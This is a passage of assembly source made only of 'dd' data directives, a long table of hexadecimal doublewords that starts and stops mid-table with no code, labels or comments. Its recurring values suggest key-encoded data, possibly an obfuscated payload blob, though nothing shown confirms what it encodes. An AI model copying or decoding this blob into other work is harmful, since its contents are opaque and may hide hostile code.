0A4CD8AB5h, 8E26249Bh, 44259269h, 30DB1566h, 57321566h dd 897EED4Ch, 3ADA3E28h, 0DD9E7C84h, 5B39F97Ah, 9BB798D9h dd 2434015Dh, 222B9B69h, 5DB1566h, 1321566h, 9A365642h dd 0A1B901EEh, 25CEF493h, 0AA101274h, 0AC8566C9h, 2232156Bh dd 3DAFBB88h, 245ED4E6h, 6EAB52F6h, 0DD534A27h, 10B71AB6h dd 70321566h, 3C9290EFh, 33DB137Dh, 96321566h, 95DA351Ch dd 6E46FE43h, 314A3C78h, 51438823h, 926B90A0h, 0BD601372h dd 6086FF0Eh, 0E9CA759Bh, 0CD87EA07h, 24340177h, 0DAB84E34h dd 2B79807h, 7034015Dh, 0CDCEC599h, 3611C0E3h, 0F0B37560h dd 9A5A297Bh, 0E4BFBDDEh, 0A7F47463h, 17260F3Fh, 2B5AEC11h dd 0B1C182CEh, 2B03A099h, 9CCA1372h, 9C0906E3h, 43DB7560h dd 0AD321566h, 2EDDFA79h, 0F28A7B55h, 25046215h, 0A53DC599h dd 11321576h, 883BFC06h, 0A2CA1566h, 0D94E9ADFh, 7010B6E1h dd 0BC6390EFh, 0C73D1372h, 22321567h, 48B7D393h, 0DA34017Ch dd 44339969h, 0DBC71566h, 0CC03020Eh, 8837FCECh, 69A61566h dd 0DD0D0039h, 52350D3h, 8822FC60h, 5FAE1566h, 5E7277BAh dd 6CC3BBDCh, 3639F5FFh, 0C1BFE0FCh, 24262E75h, 11321C8Fh dd 9EDF4E66h, 3A7F2BD3h, 0F2CDC3EBh, 0ACB79C9Eh, 6134016Fh dd 4432156Dh, 1F362DC3h, 37FC8073h, 87A79B8Ch, 443216E3h dd 43CE7566h, 0B6B90A0h, 61641372h, 44321568h, 72F79FDEh dd 0A9078F18h, 7912EC80h, 7D5A1C39h, 0DAE60A0Bh, 0BE3A099h dd 9521372h, 0FAF618AFh, 431DA438h, 91E990EBh, 0B3D1371h dd 4432156Ah, 22349069h, 983D1566h, 88321566h, 0C93DC599h dd 22321567h, 0DCB79C9Fh, 71340160h, 5E6B90A0h, 0CB751372h dd 1132156Ch, 0F481EA8Fh, 9B2521D9h, 585A740Bh, 0E8B3C976h dd 9977A099h, 0C03D1372h, 22321571h, 11239969h, 84DB1566h dd 43321566h, 7FF19907h, 0B7913E11h, 504E23Dh, 500906E3h dd 2EBC1A60h, 0F8321566h, 88321561h, 0F3C2935Ch, 0DD7EC32Ah dd 1120FCB6h, 7F161566h, 87215BDFh, 27212DFCh, 66CC0C53h dd 0A4B38D74h, 41B790EFh, 0E4C71372h, 5284CE3h, 86DB5260h dd 0BF321566h, 98263CE4h, 9D95BFF0h, 0C0F016AFh, 443DFC36h dd 51631566h, 0EC9E32D7h, 0DE64921Eh, 25673BF1h, 97D07D74h dd 9B529F69h, 6AB373AAh, 0BB5384FFh, 362350D3h, 0FEB37560h dd 9A875954h, 0A97740DDh, 0A7BF7432h, 17262E75h, 88321A8Fh dd 0A3A21966h, 0BB84E2BDh, 0FF80D6CDh, 0ACAC3436h, 0F152C599h dd 27B41AE3h, 0A8321566h dd 880212D2h, 84B79C07h, 0CB340E1Eh, 11321560h, 4B2695DFh dd 83CE4F03h, 36311CE3h, 11326D60h, 35B1E066h, 42263EF3h dd 5DB61A66h, 7132157Fh, 0BCED9400h, 838D1A90h, 7BB7D307h dd 5D34017Ch, 94DB7D9Ah, 0BBC7CCBCh, 362350D3h, 113AFC60h dd 9A011566h, 95AB791Ah, 0A7BF2944h, 17262E75h, 883F9169h dd 4CDB1566h, 86321566h, 8FCE567Ah, 77AB847Fh, 43BD1AB6h dd 42321566h, 47E3AA69h, 0DBB7438h, 42296DCAh, 223A9E69h dd 77521566h, 0D84096D8h, 82CA743Ch, 36284CE3h, 2DB5960h dd 0F0321566h, 521C1338h, 0AF9D09D6h, 0E1DA081Bh, 3257F67Fh dd 8A5AD5FBh, 0DAEF61B8h, 77A099h, 73D1372h, 44321572h dd 22321A8Fh, 0A6CC4C66h, 0D249BA9Ch, 0E2D910Eh, 95ACE77Dh dd 2A2190EBh, 0EE521372h, 0E08ECCE7h, 0B245CEE7h, 0EE53393Bh dd 8823FCB6h, 0E18B1566h, 65110557h, 0CF370794h, 78E64939h dd 0CDA3F1B3h, 394AA5E3h, 19BC1A60h, 87321566h, 443217ECh dd 0E4537566h, 5284CE3h, 33D5960h, 4432157Bh, 2220FC06h dd 0E1CE1566h, 631A0CBh, 1E2B1CAAh, 85591158h, 0C316741h dd 8BB0AD00h, 0C60D7D07h, 0AB3DA2E7h, 1132156Eh, 88309F69h dd 25521566h, 3377A099h, 1EDB1372h, 0A4321566h, 0EC8FA281h dd 61C8F6DEh, 7F2FC664h, 0DBF45DDh, 42262E75h, 22339569h dd 0EECE1566h, 86B91AB6h, 0AD321566h, 2232156Fh, 0B565DE97h dd 5D3C5D56h, 0F0B79CF4h, 0DB340E1Eh, 0B6B90A0h, 707E1372h dd 6B720D0Eh, 2223FCD5h, 0F4461566h, 0A514BEB0h, 2CA6B84Fh dd 0DD261928h, 71FB8C92h, 49CD4FDFh, 86B97308h, 6787EA07h dd 0F8340177h, 88321574h, 0AA0ADA40h, 4B7D4EF8h, 5AFE65B1h dd 0E4057235h, 0C1BF0DACh, 24262E75h, 17BF1A06h, 87321566h dd 443215EDh, 6593AE66h, 0EE532D4Ch, 8FB31AB6h, 4B321566h dd 223214E0h, 16DBEC66h, 56321566h, 5691E2D8h, 0A7BB5FEAh dd 17296DD2h, 88321E8Fh, 8B1E6766h, 98FB8008h, 0B2EF410Fh dd 926B90A0h, 4B741372h, 22320EEBh, 0E9B97566h, 8832078Fh dd 1FC89E66h, 0FF7A60CDh, 1398B669h, 0C5927612h, 25BF6426h dd 0FC34010Eh, 0AB61ADCh, 0E8321566h, 56DB4C30h, 0C7321566h dd 68D15873h, 8A7EF6ACh, 402DABD0h, 0AF341A1Ch, 0A4CD7408h dd 8E260423h, 8BB37306h, 0A3548CAAh, 7024928Ch, 88321F8Fh dd 61D7766h, 53EE3588h, 9C2EE277h, 9C0906E3h, 0CE3D7560h dd 2232157Fh, 1132018Fh, 77D07966h, 0CB9F47D4h, 90CEA246h dd 0A5A3AFC7h, 0C41C8986h, 87B373F9h, 0DD537FB2h, 1126FCB6h dd 2A5E1566h, 2C18033Eh, 0E150A412h, 983A273Dh, 2343A3F9h dd 0C1BB0F3Dh, 24296DDAh, 5A887306h, 0DF47411h, 42260F3Fh dd 585AED21h, 0E9B3C976h, 9977A099h, 0CD3D1372h, 22321574h dd 1132188Fh, 1480EC66h, 4039E326h, 6BAF1880h, 94BFAB07h dd 8E262E75h, 4432048Fh, 0D71D7E66h, 5526D693h, 0BA68F096h dd 0C713FA17h, 0A83DB5EDh, 11321573h, 8832058Fh, 9FA0D666h dd 933FA796h, 0A1E1125Fh, 0E71BCAD5h, 0ADE2EAFEh, 2232156Dh dd 0CDD2E12Eh, 0BBC61C57h, 0CDCF9D6Bh, 394AD1E3h, 10B31A60h dd 71321566h, 5E6B90A0h, 2D751372h, 11320FE4h, 9CB11A66h dd 0AD321566h, 22321569h, 77B8D2Ch, 354D0Fh, 106BF5F1h dd 4ABA066Bh, 0FEB59BCAh, 88339169h, 0BBC71566h, 362350D3h dd 7BD1A60h, 61321566h, 44321577h, 0F84DC44Ah, 0EE37E8F5h dd 0F7CC44D9h, 0E6F2F387h, 31B798C2h, 0F834015Dh, 88321574h dd 7702A02Eh, 7E7695EFh, 97C53EEDh, 40E3CA8Dh, 94CD88CEh dd 0EBEB9406h, 4276DFF5h, 88321C8Fh, 8ADC7D66h, 0B222DD4Fh dd 7068901Dh, 88399269h, 22521566h, 9DFEB6D8h, 798E0E3Bh dd 40B79C07h, 24340E1Eh, 0CACC9E00h, 11321561h, 41C77Ch dd 127FBEF5h, 0D7534B39h, 0B6B90A0h, 87751372h, 443206EFh dd 0CDB27566h, 113BFC0Bh, 0F9441566h, 214A70Dh, 437E52ABh dd 8B95C70Eh, 8822FCB2h, 24A81566h, 9AD10315h, 0FF3B6E72h dd 4808F9FBh, 0F1CD79D0h, 24260423h, 11359D69h, 8521566h dd 1E624683h, 31B79807h, 0F834015Dh, 8832156Ah, 87215BDFh dd 27212DFCh, 66CC0C53h, 883F9169h, 4CDB1566h, 0A1321566h dd 0E056BAFBh, 77D7FCBDh, 0C1BBEDB6h, 24296DAAh, 112E9569h dd 60521566h, 44321574h, 53CA50A2h, 1643CF33h, 470642BDh dd 607D7500h, 426DF8DFh, 94F47407h, 8E260F3Fh, 4422FC21h dd 0D6201566h, 0C3E7DB64h, 31BF2612h, 0A4795E02h, 265A24ABh dd 0F888D45Fh, 88321560h, 0FD70050Ch, 27DBD085h, 9F321566h dd 840AC8D5h, 5577A099h, 44521372h, 0F861E5EDh, 8832156Bh dd 856C58F8h, 94C89944h, 9A5E5C0h, 5534BBCh, 500906E3h dd 30B21A60h, 0F8321566h, 8832156Bh, 45F4E050h, 8079A866h dd 0F52F2Bh, 80BA1A6Bh, 24321566h, 2DC5A269h, 0EE53CED1h dd 94BB1AB6h, 4B321566h, 223203E0h, 1123FC66h, 0E15E1566h dd 81B64B20h, 0B343490Ch, 0E40B4AC7h, 13A3839h, 5F4AC5E3h dd 2ABB1A60h, 1E321566h, 883217ECh, 0C7537566h, 36121CDBh dd 943D1560h, 88321506h, 1DB7D39Ah, 6534017Ch, 11389469h dd 8DDB1566h, 2A321566h, 95459CF6h, 3C557D93h, 77C7F514h dd 502350D3h, 0A7BFE060h, 17262E75h, 87E2EA9Fh, 443219E8h dd 2235FC66h, 0F7501566h, 3952AA5h, 4421FCF2h, 0D7531566h dd 7196D2F1h, 3B21EBFBh, 17C846D6h, 6F6D4002h, 0C5B79C73h dd 71340E1Eh, 5E6B90A0h, 0DE751372h, 3881A40Eh, 3DCDEDE8h dd 42260423h, 22339F69h, 9CCA1566h, 9C0906E3h, 50B91A60h dd 0CB321566h, 11321569h, 8CBC3E12h, 5E51B3DDh, 8B8978CFh dd 0EEECB38Ah, 8838FCB6h, 3561566h, 3B54735Bh, 2671102Fh dd 8832188Fh, 479BDD66h, 0AFEE6984h, 5FF2773Ah, 0DBB8152h dd 42296DBEh, 22339669h, 0D7C71566h, 9C284CE3h, 24525660h dd 43C4AA69h, 41E1AC00h, 0C2957D07h, 4BDBD510h, 0E0321566h dd 75BC5E1Fh, 0EAE693C0h, 0DDC116AEh, 97CD2628h, 17260423h dd 9BB7989Eh, 0BC34015Dh, 22339A69h, 0EECE1566h, 0DBBE0B6h dd 42296DBAh, 2220FC06h, 9441566h, 60D75B15h, 2E93570Eh dd 0C18B5776h, 9BB70AA3h, 88349969h, 0CE3D1566h, 22321566h dd 48B7D307h, 0C434017Ch, 44321A8Fh, 0C0D0B466h, 907EF43h dd 0FA3A308Eh, 0C3740588h, 445EFE0Eh, 2DB759Dh, 0FF321566h dd 2FFACFD4h, 11A69B5Dh, 10DA814Bh, 63A1DDB4h, 0FB3DD70Ch dd 97CD7495h, 17261C57h, 9EB9E06h, 4D586997h, 0A7BF740Eh dd 17262E75h, 882D9069h, 0C43D1566h, 2232157Fh, 1132018Fh dd 7F872C66h, 558F2306h, 1266732Dh, 36061AFEh, 4D47931Fh dd 0B1E2EA97h, 5B4290EFh, 7052137Dh, 926B90A0h, 24761372h dd 2220FC93h, 98EB1566h, 55F42C58h, 12394D8Bh, 72C39E94h dd 184391ACh, 9CB61A07h, 0AD321566h, 22321569h, 0A33602C5h dd 0FBDDE6DFh, 4756E411h, 4AD20709h, 0AA419B33h, 748B7506h dd 2541814Bh, 0DA53C5ECh, 77A099h, 0EE521372h, 15BCFDE7h dd 1853AB00h, 94BFE907h, 8E262E75h, 44359B69h, 0A83D1566h dd 11321567h, 61E2EA9Fh, 44321575h, 0AE664705h, 0B2D53D22h dd 8AD73DA4h, 4A615173h, 2D40E8C8h, 113205EDh, 8839FC66h dd 0B40D1566h, 83BB4770h, 499F3001h, 68B79CADh, 0AD340E1Eh dd 22321576h, 92300639h dd 0B3BF40C4h, 0FBC78C3Eh, 2F8CA151h, 0B6B90A0h, 0E8711372h dd 5FC4AD00h, 22321D8Fh, 27096666h, 48D96490h, 0B85A7457h dd 0CB8E9B08h, 1132156Ch, 38889372h, 0C3627156h, 97CD6BD8h dd 17260423h, 8832018Fh, 0A2A81C66h, 5249682Dh, 5A59AD86h dd 3D19C4A6h, 30ACE4D7h, 31B798B9h, 0E434015Dh, 1CBC599h dd 5F4AF1E3h, 31DB7560h, 0F7321566h, 68250A21h, 9EE793BFh dd 31ECE497h, 0DAEA91F5h, 6585B8EAh, 1DB7D307h, 7134017Ch dd 11321F8Fh, 0B1EC4266h, 27D214C0h, 0D7B3958Ah, 10CBF0Eh dd 13D75A0h, 44321562h, 3E97AD00h, 0EE534AD4h, 9C2350D3h dd 22C77560h, 4372E8DEh, 2A2190EBh, 61521372h, 44321561h dd 219F4BA7h, 0E889E2A0h, 70E2EA07h, 3CDA90EFh, 0CBCA137Dh dd 11321577h, 0A42869C6h, 5F2D8E51h, 18458317h, 0FE116DBFh dd 0C18F9605h, 4434016Fh, 21C39169h, 0D7CE1566h, 9C284CE3h dd 0C33D5360h, 22321560h, 716B4706h, 0E0CE7407h, 0BEA4DB57h dd 6787EA9Fh, 0F8340177h, 88321563h, 75CA90E3h, 31B7982Bh dd 7134015Dh, 74E2EA07h, 3D7690EFh, 0AE3D137Dh, 1132156Eh dd 88309E69h, 25521566h, 386B90A0h, 71741372h, 88309E69h dd 25521566h, 43F5AA69h, 76FC9406h, 0E95626E6h, 0E308C30Eh dd 97CDE99Ah, 17260423h, 9BB7989Eh, 2434015Dh, 2CE39400h dd 15BA1A99h, 0EE321566h, 25361DDCh, 0A13DC599h, 11321573h dd 8832058Fh, 511B3066h, 9335623Fh, 0F00E9BD5h, 96A6FE63h dd 4AB91A75h, 0CB321566h, 1132156Fh, 0DA0863A9h, 9753F183h dd 76B79C0Ch, 71340E1Fh, 438D1A93h, 1DB7D307h, 6434017Ch dd 11299A69h, 3D1566h, 44321573h, 2232058Fh, 0E1163D66h dd 0D36E6163h, 9EA5B703h, 47D439DDh, 0B5327D69h, 352879Ah dd 25CC9EAEh, 3377A099h, 903D1372h, 8832156Ah, 44B41A06h dd 44321566h, 7013BBDEh, 0B32190EBh, 0BBC71372h, 27DB75B6h dd 0FA321566h, 0F6E0F247h, 175AF00h, 7AB79C07h, 71340E1Fh dd 0CDD39400h, 255243E0h, 0A7F4743Fh, 17260F3Fh, 91BB1A20h dd 0AD321566h, 22321572h, 8913578Eh, 8DCDFE00h, 3476811Fh dd 31D10AD5h, 9687DC60h, 88229669h, 4FDB1566h, 0FD321566h dd 0B7836574h, 1268A8EFh, 2E5AC4AFh, 0CBC4C129h, 11321568h dd 30A77C2h, 900CBF21h, 0FD78BE3Ch, 0A4CD7380h, 8E260423h dd 44339469h, 0AFC71566h, 50906E3h, 90B41A60h, 4B321566h dd 223207EEh, 113FFC66h, 6B251566h, 407D55EDh, 2C9BC8CCh dd 0EE5FACC2h, 99B11AB6h, 0AD321566h, 2232156Ah, 5A53B92Dh dd 37F98CF0h, 7DD198EBh, 5B6E90EFh, 943D137Dh, 8832157Eh dd 4432068Fh, 0A50FBB66h, 0BCDC0C23h, 9FDE3D75h, 0F01B7741h dd 9B60B39Eh, 1132078Fh, 0D2C32066h, 71139C0h, 69712CD3h dd 6BDA129Eh, 4E9F714Dh, 50284CE3h, 33DB5360h, 39321566h dd 0F42AD99h, 0A6BF27F8h, 344F4970h, 2E090F63h, 4562F20Eh dd 4426FCF2h, 0BEEA1566h, 18F3F200h, 4C758082h, 0D42E3651h dd 0E49A7E71h, 0A4CD36F8h, 8E260423h, 443B9B69h, 74521566h dd 0E0B3733Ch, 6153B852h, 44321569h, 0A8510395h, 0CCF79C78h dd 0EF1AD10Ch, 0C9485614h, 360906E3h, 1DA7560h, 0DD321566h dd 0CC7D01BAh, 0C948BD49h, 0A5B99235h, 877805C4h, 256AC2D1h dd 0A952C599h, 5DB46A5h, 1321566h, 3C852962h, 53EC8A07h dd 0AA275625h, 851C8AD7h, 1D108AB3h, 0A7BBED07h, 17296C2Eh dd 7D53ED06h, 5E6B90A0h, 42741372h, 112A9D69h, 9BDB1566h dd 71321566h, 1BFD38A2h, 0A64D31E3h, 0DC622EA3h, 9C8C4CECh dd 0A43DF213h, 11321563h, 0E0FC9400h, 7F5A7458h, 2D833712h dd 113219EBh, 8835FC66h, 0DCA91566h, 0C78DA6F6h, 5487EAE9h dd 0E8340177h, 0C6DB46DCh, 0A7BF743Eh, 17262E75h, 88359869h dd 0C93D1566h, 22321567h, 71E2EA9Fh, 0EBE19400h, 443DFD37h dd 0C8231566h, 9E69159h, 0BC646017h, 3FA50C9Ah, 22BD1AC4h dd 4B321566h, 8FDB7507h, 47321566h, 0A0194D6Bh, 98539E1Fh dd 934B59E3h, 4439FC60h, 0A24C1566h, 95B05905h, 0FEB54D8Fh dd 0C1F4ED24h, 24260F3Fh, 1122FC20h, 0EFF71566h, 198679EFh dd 4177C414h, 6790BFA5h, 655A0F11h, 0ADED6C8Ch, 22321577h dd 1370AE16h, 70FA947Ah, 4C317AFCh, 1B88EC96h, 5487EA1Ch dd 7D340177h, 7F2190EBh, 0DDCE1372h, 1121FCB6h, 8F571566h dd 3AC4D869h, 0E434D386h, 7019183Ah, 8D434EEh, 14B79C5Dh dd 2D340E1Fh, 11321BECh, 883BFC66h, 38B11566h, 73E28009h dd 92DE240Fh, 9C121CDBh, 0C13D1560h, 22321538h, 48B7D393h dd 0DB34017Ch, 0F3CB7506h, 4A53748Ah, 0DF8CF538h, 82B91A9Fh dd 24321566h, 0F2C39400h, 0DAF69505h, 0CD87EA07h, 0B8340177h dd 192190EBh, 0DB1372h, 0D2321566h, 74F43725h, 2F9595Ch dd 0CB00D875h, 3F2E4D2Eh, 0CDCEC599h, 394AF9E3h, 113AFC60h dd 93B51566h, 68B1E17Fh, 0A7F42108h, 17260F3Fh, 9CB71A21h dd 24321566h, 22321D8Fh, 0D3E92166h, 0BD817356h, 171EAB01h dd 0CB536FBBh, 1132156Dh, 0AA1C4F8Fh, 2410D865h, 4A876DCDh dd 0D6834BE1h, 8832068Fh, 1F911B66h, 97BCDFB4h, 0DCD760C0h dd 86580A02h, 7E577641h, 3377A099h, 1EDB1372h, 9D321566h dd 7E699ECAh, 5FFB4B23h, 0CD99E187h, 0D8524A74h, 1C9CE1E6h dd 7B537537h, 2B79807h, 8734015Dh, 443214E2h, 0A03DEC66h dd 1132156Ch, 87C19F06h, 443215E7h, 0F2CD7466h, 113F9B69h dd 9521566h, 23C29FACh, 48EFAD0Ah, 985364EFh, 934AE5E3h dd 0F9B1EC60h, 2426356Fh, 9FB71A66h, 61321566h, 44321577h dd 0D14607FDh, 5C5D91DEh, 4CFE4E43h, 1D80717Ch, 7BB7D370h dd 5634017Ch, 8832068Fh, 6678C166h, 7278A761h, 2271B4ABh dd 9A70BEF4h, 0AEC07D3h, 404C100Eh, 19B81A80h, 0E8321566h dd 0FE54D4EDh, 0DD53A4CDh, 52350D3h, 8834FC60h, 3B01566h dd 14F3FF5Dh, 2A2190EBh, 77CB1372h, 45B31AB6h, 0DA321566h dd 69C690EFh, 6152137Dh, 44321569h, 173D6A0Ah, 15FF10FDh dd 624A0FD6h, 4B90F606h, 223217E7h, 70537566h, 0D1B7D39Eh dd 734017Ch, 2232128Fh, 0C9280566h, 95360D77h, 3E3BE30Eh dd 0D752E9F4h, 70F8A269h, 9977A099h, 0C9CA1372h, 360906E3h dd 1123FC60h, 6D461566h, 6914BEB0h, 4AA6B84Fh, 0EE261928h dd 77FB8C92h, 0C83DE9B6h, 2232156Eh, 11309F69h, 0E9521566h dd 3CCA90EFh, 9652137Dh, 94F4744Ah, 8E260F3Fh, 0C73D7525h dd 22321565h, 9AF0AA69h, 0A85A74A9h, 24CE34F1h, 5B62F8DEh dd 1139FC41h, 356E1566h, 216B9669h, 2664D0EEh, 0A4CD7425h dd 8E260423h, 54B51A93h, 0CB321566h, 1132156Dh, 642467A6h dd 79943803h, 0AFCEDCA9h, 50906E3h, 0D6637560h, 44349D69h dd 0A23D1566h, 11321566h, 87E2EA07h, 44321BE2h, 27DB7566h dd 0ED321566h, 4B8F5DB3h, 4B53EEEDh, 22321CEDh, 4B627566h dd 0BCD3D5DEh, 0C1BB745Eh, 24296D9Ah, 1126FD06h, 0C111566h dd 3FB1C48Eh, 0F9B939A8h, 7CE1878Dh, 0F974076Bh, 0B3B37CBDh dd 5202CA71h, 1134FD3Eh, 588C1566h, 0AF8790E6h, 7A4FDFE6h dd 188F9607h, 88340146h, 45249069h, 0A33D1566h, 11321570h dd 61C09E06h, 4432156Bh, 9AF32FEh, 966769B7h, 643BCC0Bh dd 0C1F47460h, 24260F3Fh, 993D7525h, 88321563h, 27F39400h dd 0AE3D75D9h, 11321566h dd 8832078Fh, 62533466h, 7B7B30EDh, 0B4132C15h, 0C458804Fh dd 2538C7FDh, 8A317D07h, 0E9529E66h, 88B41A31h, 1D321566h dd 0E9B37507h, 24E387C7h, 9ED59400h, 0F1CD742Bh, 24260423h dd 11321E8Fh, 23619A66h, 9D9454EBh, 3731B3Ah, 11339B69h dd 5C71566h, 500906E3h, 0F2CDE060h, 11209D69h, 85DB1566h dd 0C6321566h, 4424890Eh, 0B51C912Fh, 4F3F553Fh, 3D3690EFh dd 0A23D137Dh, 11321568h, 88321C8Fh, 0A22D8566h, 0A6D72740h dd 94F4F3DCh, 8E260F3Fh, 4FB31A25h, 42321566h, 0C4D71AD9h dd 46897301h, 915A74E8h, 0DAD74E50h, 77A099h, 9ADB1372h dd 0FC321566h, 56DBA78h, 0E52EB2DCh, 0A7F6EAC2h, 5D6743D2h dd 31B798B8h, 1E34015Dh, 883214EEh, 94CDE966h, 22B79C9Ah dd 0E9340E1Fh, 926B90A0h, 24711372h, 2232108Fh, 0EE814566h dd 0EE52F77Bh, 4B4645D9h, 4353E2D9h, 0BB00F40Eh, 8752E98Ch dd 25CAC4D1h, 3377A099h, 0A8521372h, 9CC5F45Eh, 25FA9E00h dd 192190EBh, 91521372h, 7753CD92h, 6C8975B6h, 0A95FF648h dd 98CE749Fh, 934B1DE3h, 8FB97560h, 4369EC31h, 0B6B90A0h dd 87711372h, 443214EAh, 155AEC66h, 71B6E4CAh, 88379F69h dd 4D8D1566h, 0A3496855h, 0DABAC4A1h, 3DCD7453h, 42260423h dd 2232128Fh, 9DDE766h, 0C5444DE4h, 7F2190EBh, 0DDCE1372h dd 913D75B6h, 88321566h, 443F9B69h, 25DA1566h, 97321566h dd 57096F3Eh, 2569C8C7h, 2EB79C9Fh, 1E340E1Fh, 883214E4h dd 0C1F4E966h, 24260F3Fh, 1139FC29h, 0C2E71566h, 0B8903DBFh dd 79C91529h, 81E67DACh, 3E528253h, 443DFC5Ah, 0D1631566h dd 0D5BCFEE1h, 8CE441EAh, 3AFE80A5h, 97CD7498h, 17260423h dd 8832188Fh, 0BAE07266h, 0B4BB741Ch, 0F3F9D399h, 0DBFC792h dd 42262E75h, 2238FC06h, 76E71566h, 0F21FA43Fh, 689BEED8h dd 2DE2EA07h, 113214E2h, 0DBBED66h, 42296C76h, 22339569h dd 0D7CE1566h, 9C284CE3h, 4B525A60h, 0CB60CBD1h, 1132156Fh dd 7CB95274h, 83490FA3h, 4A534C6Eh, 0E85C1B64h, 883F9369h dd 4CDB1566h, 0F9321566h, 0A1340DD5h, 87B2C1CAh, 443201E4h dd 223DFC66h, 15301566h, 81DAD9D9h, 169D0E0Bh, 0D971BC6Eh dd 5487EADAh, 0E8340177h, 44321F8Fh, 0B73A1B66h, 3B099225h dd 0EE11877Dh, 89F7C3E7h, 31B79807h, 0F834015Dh, 88321576h dd 4C0B8D3Ch, 17EB5430h, 87D3DA23h, 0FCB86481h, 0C83DC599h dd 22321576h, 11321E8Fh, 5E47E466h, 0F036549Dh, 5DDEE5B3h dd 1132048Fh, 0F762C66h, 0B04CB744h, 6D7FDC68h, 4179CE4Dh dd 0DBBD2E2h, 42296C72h, 0CAB34406h, 3C03F0D1h, 883EFC39h dd 0B3391566h, 186B9B80h, 0A5307FCDh, 4E53EFFDh, 50284CE3h dd 24DB5860h, 0B2321566h, 0C6FAB62h, 0D5AED14h, 42FA221Fh dd 11321C8Fh, 4727BA66h, 9C745ED7h, 0A954308Bh, 0A4CD749Ch dd 8E260423h, 57B79893h, 0DA34015Dh, 14DBC599h, 63321566h dd 0F86DEB57h, 5B2E90EFh, 1EC7137Dh, 883206E0h, 443CFC66h dd 5F0D1566h, 0D27FFA1h, 870F7364h, 84A57D65h, 386B90A0h dd 717F1372h, 883D9B69h, 4EDB1566h, 6E321566h, 6C20CFFAh dd 34AC3CDAh, 25F59EA6h, 0D57F9C0Eh, 0A4CDECBAh, 8E260423h dd 57B7989Eh, 0CB34015Dh, 1132156Dh, 2300F146h, 4BFA4B44h dd 0DDDD1682h, 9A3DE9B6h, 8832156Ah, 0A3B37306h, 0A354AA75h dd 701D3390h, 0F12A90EFh, 4FDB137Dh, 0D321566h, 0E7C9B860h dd 30536E0Ah, 0C1F42B14h, 24260F3Fh, 265AED33h, 87AE0E4Bh dd 44321FEDh, 0A63D7566h, 11321566h, 7753BDD2h, 502350D3h dd 2220FC60h, 0F9A61566h, 1BFAC767h, 2DF07F8Dh, 0D3EEB52Ah dd 0C3A325A5h, 0B32190EBh, 0C83D1372h, 22321567h, 0E8E2EA9Eh dd 0F11290EFh, 4B52137Dh, 223214E7h, 0D5B2ED66h, 0DF47424h dd 42260F3Fh, 85AEC25h, 71E0C096h, 88BC1A34h, 1F321566h dd 5ED29400h, 9A3D7423h, 88321561h, 44339C69h, 0DDCE1566h dd 52350D3h, 8826FC60h, 0C4201566h, 35FE49D1h, 0C9FF0461h dd 0AF0C5AFCh, 8416ADF5h, 0A7BFB496h, 17262E75h, 88321A8Fh dd 16041A66h, 0F44EE90Fh, 5EF2FC5Ah, 554671E2h, 0CB3DC599h dd 22321567h, 35B79C9Eh, 61340E1Fh, 4432156Ch, 0E0A457A1h dd 0EC40E4BBh, 0DF44E08h, 42260F3Fh, 2222FC34h, 0B44A1566h dd 1D7B9C2Ch, 130B746Ch, 56889794h, 943D17BDh, 88321571h dd 4432078Fh, 77422366h, 0F66ADC35h, 807F6DF5h, 4C87858Ch dd 4A60E104h, 0EC70A18Ch, 0CD87EA9Ah, 24340177h, 0D8EBAB00h dd 1E53D4EDh, 883201ECh, 4ABF1A66h, 0CB321566h, 1132156Fh dd 0E3436382h, 897433D4h, 31B79821h, 1E34015Dh, 883219E4h dd 42B41A66h, 2D321566h, 113215EFh, 61E2EA66h, 4432156Bh dd 6EFA40E9h, 5812F417h, 7CA36FE8h, 91B79CFDh, 2D340145h dd 11321DE1h, 33D7566h, 44321566h, 7BB7D307h, 5634017Ch dd 948AAA06h, 0C93D50E6h, 22321560h, 624D4E7h, 0E053263Bh dd 0A6AA4CFFh, 6787EA93h, 1E340177h, 883214EDh, 0C1BFE066h dd 24262E75h, 90F59E06h, 8A741989h, 94CD7479h, 0AB79C9Fh dd 0E9340E1Fh, 926B90A0h, 0AD751372h, 22321561h, 4EA43CE2h dd 7D1A2F62h, 0B952D70Eh, 223FFCD7h, 907E1566h, 833CD3FEh dd 43E0939Ah, 0DD8A5C04h, 52350D3h, 8822FC60h, 34F01566h dd 8F75C1E7h, 37749414h, 7857C474h, 0C1BFB4BAh, 24262E75h dd 1132068Fh, 0CFDBA866h, 0A030AF8Eh, 151BE272h, 0D05C9688h dd 52CA9DB4h, 56DBC599h, 0C1321566h, 0FD02DDAFh, 0DBAAB1D9h dd 83785664h, 0CED8D907h, 3DB79CBFh, 74340E1Fh, 44321C8Fh dd 43F77066h, 0D9DD3784h, 0DF44E00h, 42260F3Fh, 365AE021h dd 0E8EDB398h, 9977A099h, 41DB1372h, 79321566h, 4080D9CFh dd 0B32190EBh, 0CC3D1372h, 22321567h, 0F8E2EA93h, 8832156Ch dd 0A97D0A49h, 55CA8EE4h, 94BBABBAh, 8E296C56h, 4432198Fh dd 0CF5B5066h, 10E0A54Ah, 46D1F9F2h, 1DB7D3A2h, 7D34017Ch dd 11359469h, 23D1566h, 44321567h, 4A5AED93h, 0F8AC4594h dd 88321575h, 82D580E2h, 51F1EF05h, 5EFB25EDh, 1CC23811h dd 0BBCA792Bh, 362350D3h, 1123FC60h, 14CD1566h, 9C820779h dd 90291FC1h, 2A938090h, 5CCDADAh, 500906E3h, 223DFC60h dd 0D3341566h, 0F1EC028Bh, 0EC5EC859h, 54295BD7h, 1EE2EAD8h dd 883214E5h, 4EDBEC66h, 36321566h, 0DD4E030h, 3683ED63h dd 70B79C86h, 0CB340E1Fh, 11321561h, 4CCB97CDh, 0ADDE2E97h dd 22321563h, 7BB9C80Ah, 0D1B7D304h, 0B34017Ch, 590D7D93h dd 9C3DD29Ah, 88321567h, 187EA9Ah, 2D340177h, 113214EFh dd 0DBFEC66h, 42262E75h, 0EFE09406h, 7119A144h, 88329D69h dd 42DA1566h, 68321566h, 24A596ABh, 0E9534C55h, 55DBC599h dd 98321566h, 917A8798h, 8E6E44ABh, 8515D96Ah, 1187482Fh dd 71B79C93h, 61340E1Fh, 44321575h, 0C1975675h, 422436F7h dd 442ECA66h, 0EEACBA31h, 0E4EBE819h, 5284CE3h, 82DB5260h dd 9F321566h, 55B0E4EBh, 59BB7EE0h, 0E67E7D47h, 0AD52EF3Dh dd 22321561h, 0C5D1C78Ch, 0E962DD8Fh, 5577A099h, 32DB1372h dd 0CA321566h, 0C184324Dh, 21DA4DD2h, 0A5781677h, 9C1BBF7Eh dd 9C0906E3h, 94CDE960h, 22359669h, 953D1566h, 88321567h dd 20B79C9Eh, 42340E1Fh, 